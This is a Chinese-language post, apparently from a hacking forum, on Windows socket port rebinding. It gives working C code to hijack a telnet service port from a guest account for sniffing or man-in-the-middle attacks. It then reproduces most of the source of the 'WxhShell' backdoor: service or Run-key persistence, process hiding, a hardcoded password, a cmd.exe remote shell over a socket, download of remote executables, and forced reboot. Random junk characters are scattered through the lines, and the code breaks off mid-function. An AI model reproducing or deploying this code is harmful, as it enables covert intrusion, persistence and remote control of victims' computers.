在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
}6~)bLzI} s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
#0MK(Ut/ ;R1B9-, saddr.sin_family = AF_INET;
xcSR{IZ >7-y#SkXdo saddr.sin_addr.s_addr = htonl(INADDR_ANY);
SR*Gqx 9EgP9up{6! bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
{Qtq7q. jW5iqU"{* 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
+BB0wY eYP=T+ 这意味着什么?意味着可以进行如下的攻击:
@[r ={s\ dt-K 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
QJ<[Zx (-(*XNC 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
H/i<_L P <Ry$7t, 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
u7k|7e=xk
Jirct,k 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
G:+16XCra 7~.ZE 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
)bW5yG! fcAIg(vW 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
g37q/nEv G*\sdBW!k 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\REc8nsLy /_OOPt=G #include
A^pW]r=Xtk #include
W(k:Pl# #include
UD*+"~ #include
]V<"(?,K DWORD WINAPI ClientThread(LPVOID lpParam);
:o\5K2]: int main()
3_J>y {
+Jw{qQR/* WORD wVersionRequested;
WFh@%j DWORD ret;
aF])"9 WSADATA wsaData;
T'R,vxP)\ BOOL val;
;:_(7| SOCKADDR_IN saddr;
]C)|+`XE@ SOCKADDR_IN scaddr;
t-lv|%+8 int err;
a;&}zcc* SOCKET s;
vXubY@k2 SOCKET sc;
??I:H int caddsize;
jaqV[*440U HANDLE mt;
6$z'wy/* DWORD tid;
4g!7
4a wVersionRequested = MAKEWORD( 2, 2 );
F!R2_89iy err = WSAStartup( wVersionRequested, &wsaData );
n#>5?W if ( err != 0 ) {
`cO|RhD@ printf("error!WSAStartup failed!\n");
*aG"+c6| return -1;
*:#Z+7x
] }
p"KV*D9b saddr.sin_family = AF_INET;
/| f[us-w uo 4xnzc //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
?waebuj> ]^!}*
saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
U?EG6t saddr.sin_port = htons(23);
(fd[P|G_] if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
PSEWL6=]N {
?360SQ< printf("error!socket failed!\n");
N?^_=KE@ return -1;
.D3`'K3t{[ }
sS'{QIRC' val = TRUE;
++k J\N{ //SO_REUSEADDR选项就是可以实现端口重绑定的
RO$*G
jQd if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
]+lF=kkc% {
paYz[Xq printf("error!setsockopt failed!\n");
^?sSx!:bZ return -1;
vrO%XvXW }
]Da4.s*mW //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
~ a>S#S //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
dgY5ccP //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Wbd_aR
( "s;ci~$ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
9@etg4#] {
D8 wG!X ret=GetLastError();
H` Lu"EK printf("error!bind failed!\n");
|YXG(;-BS return -1;
hOn }
h{H]xe[Q listen(s,2);
i]@c.QiFN while(1)
pLJeajv)z {
ebD{ pc`& caddsize = sizeof(scaddr);
gQ,4xTX //接受连接请求
iW-t}}Z>B sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Y)v% if(sc!=INVALID_SOCKET)
Hq-v@@0 * {
Uk|9@Auav mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
hvL6zCi if(mt==NULL)
:^.u-bHI {
b8e*Pv/ printf("Thread Creat Failed!\n");
CL )%p"[x break;
_UaPwJ }
r.Lx%LZ\^ }
sHF%=Vu CloseHandle(mt);
(Y>U6 }
) _#T c closesocket(s);
vS2(Q0+TZi WSACleanup();
r=|vad$ return 0;
lkyJ;}_** }
Lm.Ik}Gli DWORD WINAPI ClientThread(LPVOID lpParam)
fW[_+r] {
~"\P~cg0J SOCKET ss = (SOCKET)lpParam;
Upu%.[7 SOCKET sc;
/:^tc/5U] unsigned char buf[4096];
+ f 6}p SOCKADDR_IN saddr;
qm~Kw!kV long num;
" _mmR
M DWORD val;
8@Q"YA3d+ DWORD ret;
7V |"~% //如果是隐藏端口应用的话,可以在此处加一些判断
o`25 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
np= J:v4 saddr.sin_family = AF_INET;
%"{?[!C ? saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
zEAx:6`c saddr.sin_port = htons(23);
4bWfx_0W if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
cx<h_ {
OY$7`8M[ printf("error!socket failed!\n");
9.jG\i return -1;
OfW%&LAMQ }
rC~_:uXtE val = 100;
,Qga|n8C if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^75pV%<% {
QK,=5~I J ret = GetLastError();
C?bXrG\ return -1;
-<_+-t
}
Cnk#Ioz if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'\4c "Ho {
(1OW6xtfG ret = GetLastError();
;k-g_{M return -1;
#dL5x{gV= }
r';Hxa ' if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
I<IC-k"Y {
|:{g?4Mi printf("error!socket connect failed!\n");
hLCsQYNDU closesocket(sc);
n&3iz05} closesocket(ss);
e3G7K8 return -1;
.`b4h"g: }
q=J9LQ while(1)
T %$2k> {
@^BS# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
$HP/cKu //如果是嗅探内容的话,可以再此处进行内容分析和记录
5^bh.uF //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
<d3PDO@w/ num = recv(ss,buf,4096,0);
4,o
%e,z if(num>0)
:LU"5g send(sc,buf,num,0);
!>?4[|?n< else if(num==0)
-Cg`x=G;z break;
@263)`9G num = recv(sc,buf,4096,0);
9@JlaY)0 if(num>0)
"K/[[wX\b send(ss,buf,num,0);
xq8}6Q else if(num==0)
X^u4%O[' break;
PEK.Kt\M }
GP0[Y closesocket(ss);
cu)@P 0I closesocket(sc);
[%HYh7ua< return 0 ;
I3V{"Nx6 }
c8H9_6 dw@TbJ [P (rY ==========================================================
-9hp+0 < Cmp{F N"o 下边附上一个代码,,WXhSHELL
R?1idl) oFX"F0rx ==========================================================
z0EjIYI[N #p']-No #include "stdafx.h"
L{4),65 j=`y
@~ #include <stdio.h>
7*R{u*/e #include <string.h>
DKe6?PG #include <windows.h>
!3O,DhH>MC #include <winsock2.h>
/F\>Z] #include <winsvc.h>
*##QXyyg #include <urlmon.h>
*C[4 (DmB k^L#,:\&V #pragma comment (lib, "Ws2_32.lib")
GLbc/qs #pragma comment (lib, "urlmon.lib")
Gsx^j? gPF}aaB6 #define MAX_USER 100 // 最大客户端连接数
Nv}U/$$S #define BUF_SOCK 200 // sock buffer
)*q7pO\cty #define KEY_BUFF 255 // 输入 buffer
V'Sd[* t?pIE cl #define REBOOT 0 // 重启
Z1XUYe62 #define SHUTDOWN 1 // 关机
R !:eYoQ LC~CPV'F #define DEF_PORT 5000 // 监听端口
tuL\7
(R
hg<"Yg= #define REG_LEN 16 // 注册表键长度
bW,BhUb,| #define SVC_LEN 80 // NT服务名长度
E#IiyZ ?uNTUU, // 从dll定义API
4i ~eTb typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
xg*\j)_} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
~z-?rW typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
v
Ie=wf~D` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
__oY:d(~ 9b"}CEw // wxhshell配置信息
}.fZy&_
struct WSCFG {
GqmDDL1 int ws_port; // 监听端口
N2+mN0k; char ws_passstr[REG_LEN]; // 口令
D;16}D int ws_autoins; // 安装标记, 1=yes 0=no
B;Q`vKY char ws_regname[REG_LEN]; // 注册表键名
yoq\9* ?u^ char ws_svcname[REG_LEN]; // 服务名
^VM"!O;h{ char ws_svcdisp[SVC_LEN]; // 服务显示名
llTQ\7zP char ws_svcdesc[SVC_LEN]; // 服务描述信息
/6i Tq^.% char ws_passmsg[SVC_LEN]; // 密码输入提示信息
I{*.htt{ int ws_downexe; // 下载执行标记, 1=yes 0=no
tkm~KLWV&7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
|IyM"UH char ws_filenam[SVC_LEN]; // 下载后保存的文件名
yH0yO*RZ -$sl!%HO% };
K#m\qitb iMOPD}`IX // default Wxhshell configuration
2fHIk57jP struct WSCFG wscfg={DEF_PORT,
!9ceCnwbNN "xuhuanlingzhe",
46Y7HTwE 1,
0{U ]STj "Wxhshell",
{y+v-v/# "Wxhshell",
)zk?yY6 "WxhShell Service",
z<3}TD "Wrsky Windows CmdShell Service",
B J:E,P`_ "Please Input Your Password: ",
dd?x5|/# 1,
ArEH%e "
http://www.wrsky.com/wxhshell.exe",
#2ZrdD"5kQ "Wxhshell.exe"
;:8jxkx6% };
Eb4< 26A
Xv?
S // 消息定义模块
l"~h1xk~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
vJ# rW8y char *msg_ws_prompt="\n\r? for help\n\r#>";
5~ *'>y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
N>F2
c)rm char *msg_ws_ext="\n\rExit.";
On2Vf*G@| char *msg_ws_end="\n\rQuit.";
kG|>_5 char *msg_ws_boot="\n\rReboot...";
)|59FOWg char *msg_ws_poff="\n\rShutdown...";
dcrJ,>i} char *msg_ws_down="\n\rSave to ";
C[J`x>-K b}EYNCw_7S char *msg_ws_err="\n\rErr!";
~,M;+T}[r char *msg_ws_ok="\n\rOK!";
Kc-A-P &Ry M Z|c7f&` char ExeFile[MAX_PATH];
jiw`i int nUser = 0;
N~Sue HANDLE handles[MAX_USER];
{$u@6&
B int OsIsNt;
gs`27Gih FzsS~C$wH{ SERVICE_STATUS serviceStatus;
.H[Lo> SERVICE_STATUS_HANDLE hServiceStatusHandle;
Ue>A g[D,\ // 函数声明
VQG /g\ int Install(void);
'%eaK_+7 int Uninstall(void);
^}Dv$\;6 int DownloadFile(char *sURL, SOCKET wsh);
2jrX int Boot(int flag);
+"N<- void HideProc(void);
~YT>:Np int GetOsVer(void);
(`uC"M Lk int Wxhshell(SOCKET wsl);
u}@%70A void TalkWithClient(void *cs);
c-3Y SrY int CmdShell(SOCKET sock);
)n3biQL_ int StartFromService(void);
o}AqNw60v int StartWxhshell(LPSTR lpCmdLine);
2!~>)N ]>S$R&a VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
_+R_ms VOID WINAPI NTServiceHandler( DWORD fdwControl );
zM9) .D
H =%nqMV(y // 数据结构和表定义
CB{k;H SERVICE_TABLE_ENTRY DispatchTable[] =
!z4Hj{A_ {
-c<1H)W {wscfg.ws_svcname, NTServiceMain},
Lu#@~ {NULL, NULL}
/KJx n6 };
yrK--C8 tKqCy\-q // 自我安装
Um0<I) int Install(void)
V;(*\"O {
]=
QCCC char svExeFile[MAX_PATH];
+_|cZlQ& HKEY key;
gp|7{}Q{ strcpy(svExeFile,ExeFile);
'k(~XA}X: }mT%N eS // 如果是win9x系统,修改注册表设为自启动
aBA#\eV if(!OsIsNt) {
oRJP5Y5na if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(1r>50Ge RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[2H(yLw O RegCloseKey(key);
* v7& T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
zf!\wY"` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Pi]s<3PL RegCloseKey(key);
J!^~KN6[ return 0;
t73Z3M }
c_8 mQ }
;HLMU36q }
<J_,9&\J else {
77=y!SDP C6=;(=?C // 如果是NT以上系统,安装为系统服务
'm p{O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
dW=D] if (schSCManager!=0)
+EB,7<5< {
1-Wnc'(OK SC_HANDLE schService = CreateService
<0,ah4C (
'y@ 2,9v schSCManager,
%H 6ZfEO wscfg.ws_svcname,
!+26a*P wscfg.ws_svcdisp,
hK9oe%kU~ SERVICE_ALL_ACCESS,
>J75T1PH= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
yOCcp+`T} SERVICE_AUTO_START,
4`5Qt=} SERVICE_ERROR_NORMAL,
pfn#~gC_= svExeFile,
=x.v*W]F` NULL,
XGup,7e9 NULL,
0|+hm^'_ NULL,
BO\`m%8md NULL,
OaCj3d> NULL
H/la'f#o% );
O
|I:[S}, if (schService!=0)
d\<aJOi+- {
#/sE{jm CloseServiceHandle(schService);
02c.;ka3 CloseServiceHandle(schSCManager);
[Jh))DIx strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
>fzzrD}] strcat(svExeFile,wscfg.ws_svcname);
Vi-!E if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
AYQh=$)( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ujHzG}2z RegCloseKey(key);
ZtK%b+MBP return 0;
.gsu_N_v }
KL\=:iWA }
"E[*rnsLN CloseServiceHandle(schSCManager);
n YMf[kW }
ZzaW@6LJF }
' ^L j]F3[gpc return 1;
E?5B>Jer# }
Q_|S^hxQ \w\47/k{ // 自我卸载
Va[dZeoy int Uninstall(void)
`&Of82*w {
aKU8"
5 HKEY key;
c68$pgG RknSWuFKt if(!OsIsNt) {
-bb7Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^A$XXH' RegDeleteValue(key,wscfg.ws_regname);
v&/-&(+ RegCloseKey(key);
zSvHv s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
m_ONsZHy RegDeleteValue(key,wscfg.ws_regname);
jE5
9h RegCloseKey(key);
o6yZ@R return 0;
q>l kLHS }
C]cT*B^ }
!rmo*-=^= }
T[9jTO?W2 else {
Kz2^f@5=F cw-JGqLx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
`0vy+T5 if (schSCManager!=0)
[&}<!:9' {
;%.k}R%O@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
6!PX!
UkF if (schService!=0)
?|rw=% {
Gg,k if(DeleteService(schService)!=0) {
,7nb;$] CloseServiceHandle(schService);
*E q7r>[ CloseServiceHandle(schSCManager);
0J,d9a [1 return 0;
P*=3$-` }
Jt^JE{m9% CloseServiceHandle(schService);
7(iRz }
Jy[8,X CloseServiceHandle(schSCManager);
aZ0iwMK }
N0KRND }
?U[nYp}"v $W]guG return 1;
48*pKbbM4 }
QL!+.y% ;xC~{O // 从指定url下载文件
HQj4h]O# int DownloadFile(char *sURL, SOCKET wsh)
JWjp<{Q;1 {
QF6JZQh< HRESULT hr;
F&j|Y>m char seps[]= "/";
p"
W0$t. char *token;
z`{zqP: char *file;
l]=$< char myURL[MAX_PATH];
EF{'J8AQ char myFILE[MAX_PATH];
<g1hdF0 yFtf~8s3 strcpy(myURL,sURL);
T:5%sN;#O token=strtok(myURL,seps);
siZ_JJW while(token!=NULL)
L. ?dI82c {
gx
R|S
file=token;
W
9MZ token=strtok(NULL,seps);
m&c(N }
zC;lfy{f= $6%;mep GetCurrentDirectory(MAX_PATH,myFILE);
TTak[e&j3 strcat(myFILE, "\\");
j@\/]oL^We strcat(myFILE, file);
k$- q;VI send(wsh,myFILE,strlen(myFILE),0);
Eu~wbU"% send(wsh,"...",3,0);
JU+'UK630 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
KftM4SFbK if(hr==S_OK)
Pu*UZcXY return 0;
|VF"Cjw? else
X,CFY return 1;
LMj'?SuH nECf2>Yp v }
N2Hb19/k t O;W?g // 系统电源模块
ofv
1G=P int Boot(int flag)
%+J*oFwQu {
S*@0%|Q4r HANDLE hToken;
.Sw'Bo!Ee TOKEN_PRIVILEGES tkp;
=xP{f<` .Q@'O b` if(OsIsNt) {
V2skr_1 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
[)c|oh% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
84cH|j`w tkp.PrivilegeCount = 1;
4u7>NQUDu tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
nL~
b AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
?saVk7Z[|5 if(flag==REBOOT) {
Ka2tr]+s if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
SXF_)1QO\W return 0;
!}48;P l }
/a)=B)NH else {
ay[*b_f if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
GQWTQIl] return 0;
d'D\#+%>= }
?"u-@E[m }
A2S9h,t else {
S*:w\nXP~ if(flag==REBOOT) {
>ON.ftZi if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
&$im^0`r_ return 0;
:N:8O^D^< }
DlO;EH else {
(LPD if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
S`.-D+.68 return 0;
F\72^,0 }
I ^92b }
IbwRb - mXr6R? return 1;
{mGWMv }
n/D]r 4tTJE<y // win9x进程隐藏模块
M lwQ_5O void HideProc(void)
h]9^bX__Z {
&|] ^ u/ W{aN S@1 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
c>.X c[H if ( hKernel != NULL )
ZeV)/g,w {
v21? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~Wv?p4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
"KwKO8f FreeLibrary(hKernel);
NE"fyX` }
A>yIH)b T667&@ return;
L\DaZ(Y }
gp2)35 {*Pp^r // 获取操作系统版本
![%,pip2/& int GetOsVer(void)
b"9,DQB=i {
}FVX5/.' OSVERSIONINFO winfo;
g7i6Yj1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
l0)uu4| GetVersionEx(&winfo);
#m>mYp8E.5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
wYG0*!Vj return 1;
\>k+Oyj else
7i/Cax return 0;
c
@R6p+ }
Fwqf4&/ ~yN,F pD // 客户端句柄模块
yjzNU5F int Wxhshell(SOCKET wsl)
Xi.?9J`@ {
]+P&Y: SOCKET wsh;
W9"I++~f struct sockaddr_in client;
*6tN o-)^ DWORD myID;
ak[)+_k_ @( l`_Wx while(nUser<MAX_USER)
?f&I"\y {
W[s>TDc`v int nSize=sizeof(client);
EM}z-@A> wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
5{Wl(jwb if(wsh==INVALID_SOCKET) return 1;
@35shLs 566Qikw2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
lfP|+=^B
if(handles[nUser]==0)
pkx>6(Y closesocket(wsh);
vKf=t&gqr else
g=Di2j{A nUser++;
f'dI"o&^/d }
Km7 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
$(U|JR@ 9j`-fs@: return 0;
mZyTo/\0 }
wQT'~'kL 6*7&X#gG // 关闭 socket
q0wVV void CloseIt(SOCKET wsh)
(6nw8vQ {
HenJlo closesocket(wsh);
~@lNBF nUser--;
X[<9+Q-& ExitThread(0);
at!?"u }
:F&WlU$L )w-?|2-w5 // 客户端请求句柄
7}k8-:a% void TalkWithClient(void *cs)
C#>C59 {
tUQ)q d/1XL[& SOCKET wsh=(SOCKET)cs;
c3##:"wr char pwd[SVC_LEN];
S J5kA` char cmd[KEY_BUFF];
s25012 char chr[1];
SCij5il% int i,j;
VzesqVx )Yml'?V" while (nUser < MAX_USER) {
?}[keSEh> VM[8w` if(wscfg.ws_passstr) {
@d\F; o< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
il~,y8WTU{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
jPfoI- //ZeroMemory(pwd,KEY_BUFF);
$$a"A(Y i=0;
tF|bxXsZ while(i<SVC_LEN) {
h.*|4;
<T).+
M/ // 设置超时
.FU EF) fd_set FdRead;
;/@R{G{+~; struct timeval TimeOut;
2olim1 FD_ZERO(&FdRead);
rAKdf?? FD_SET(wsh,&FdRead);
I1gu<a TimeOut.tv_sec=8;
}wVrmDh \ TimeOut.tv_usec=0;
!T*izMX} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
'&d4x c if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Y~R wsx =>G A_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
#^Y,,GA pwd
=chr[0]; q`P:PRgM
if(chr[0]==0xd || chr[0]==0xa) { `f'P
pwd=0; <mN3:G
break; iX=*qiVX
} ,P}c92;
i++; 5WUrRQ?E
} a|.u;
)-(NL!?`
// 如果是非法用户,关闭 socket o0 Ae*Y0
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); < -Nj
} l_:%?4MA
_bX)fnUu
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KjadX&JD
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c\Dv3bF
iQKfx#kt
while(1) { om1 /9
XL:7$
ZeroMemory(cmd,KEY_BUFF); ]9' \<uR
rhrlEf@
// 自动支持客户端 telnet标准 ]Uu/1TTf
j=0; |fUSq1//
while(j<KEY_BUFF) { y{&,YV&_h
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hXCDlCO
cmd[j]=chr[0]; D)Zv
if(chr[0]==0xa || chr[0]==0xd) { DCj!m<Y&
cmd[j]=0; !>Xx</iD1
break; L|<Mtw
} {'1,JwSmb
j++; 5GKz@as8
} 9g7T~|P
%^S1 fUwT
// 下载文件 M0|z^2
if(strstr(cmd,"http://")) { 6R25Xfm_|
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?g'l/xuRe
if(DownloadFile(cmd,wsh)) 2,+H;Ypi!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7P
else <t8})
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d^7<l_u~ !
} >_@J&vC
else { FW2} 9#R
vQ;Z 0_
switch(cmd[0]) { 4
QWHGh"
-8]$a6`{_
// 帮助 .FeEK(
case '?': { u%FA.
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PYZ8@G
break; kW"N~Xw)
} %:NI@59
// 安装 !59q@Mya[
case 'i': { ZR1EtvVG
if(Install()) 6Pz\6DU,I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d$!ibL#o
else OA_
%%A;o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8W{R&Z7aL
break; &:rf80`z.
} EB\\
F
// 卸载 R7#B_^ $
case 'r': { J&Ah52
if(Uninstall()) n}"MF>zDK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Kn}{m/3Y
else hQ9VcS6=gD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j:0z/gHp$
break; `sSI; +
} ~sOAm
// 显示 wxhshell 所在路径 q N>j2~
case 'p': { *p"%cas
char svExeFile[MAX_PATH]; %
74}H8q_z
strcpy(svExeFile,"\n\r"); k3&Wv
strcat(svExeFile,ExeFile); \n}cx~j
send(wsh,svExeFile,strlen(svExeFile),0); K#>B'>A\
break; gD-<^Q-
} xu3qX"
// 重启 Ra/S46$
case 'b': { #<{sP0v*
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =7a9~&|
if(Boot(REBOOT)) sPut@4[S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z;T?2~g!
else { Gd!y,n&s
closesocket(wsh); 9BP-Iet
ExitThread(0); -{HA+ YL H
} 4oJ0,u
break; tlj^0
} ,a}+Jj{
// 关机 uKK+V6}!kj
case 'd': { JMXCyDy;
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WawOap
if(Boot(SHUTDOWN)) Ls( &.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hd
:2
else { d%iMjY`~[g
closesocket(wsh); gF&1e5`i
ExitThread(0); T{Av[>M
} LBTf}T\
break; iNcB6,++
} 06ZyR@.@v
// 获取shell XLB7
E
case 's': { )Zox;}WK+
CmdShell(wsh); H?PaN)_6-+
closesocket(wsh); d-X<+&VZ
ExitThread(0); mk}8Cu4
break; 1$4dzI()
} )KG.:BO<
// 退出 3= PRe
case 'x': { H8X{!/,^
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WOh?/F[@u
CloseIt(wsh); L^dF
)y?
break; Y-v6xUc{F
} (m13
ong
// 离开 `j9 ;9^
case 'q': { DKR2b`J
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yf1?3(0O
closesocket(wsh); >o.4sN@
WSACleanup(); 5LR
k)@t
exit(1); ta%yQd7
break; u{J$]%C
} F8nR.|
} W2'u]1bs
} &=~Jw5WK
f-^JI*hj
// 提示信息 #mFIZMTRd
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J.$N<.
} EjrK.|I0
} W|4:3c4
R10R,*6>
return; vr"O9L
w
} nH_M#
qf;x~1efC4
// shell模块句柄 2)-Umq{]{
int CmdShell(SOCKET sock) h:xvnyaI
{ kZ$2Uss
STARTUPINFO si; Phr+L9Eog
ZeroMemory(&si,sizeof(si)); 8u6*;*o
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G0)}?5L1J
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;0FfP
PROCESS_INFORMATION ProcessInfo; ,N93 H3(
char cmdline[]="cmd"; Qhy!:\&1
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5<YV`T{5Kl
return 0; yvv]iRk<
} O |!cPB:
k..AP<hH
// 自身启动模式 }20~5!
int StartFromService(void) =bgWUu\F
{ kntYj}F(
typedef struct W[/Txc0$
{ WUrE1%u
DWORD ExitStatus; 0~4Ww=#
DWORD PebBaseAddress; E6XDn`:
DWORD AffinityMask; \xG_q>1_
DWORD BasePriority; @q]4]U)
ULONG UniqueProcessId; 6+!$x?5|NP
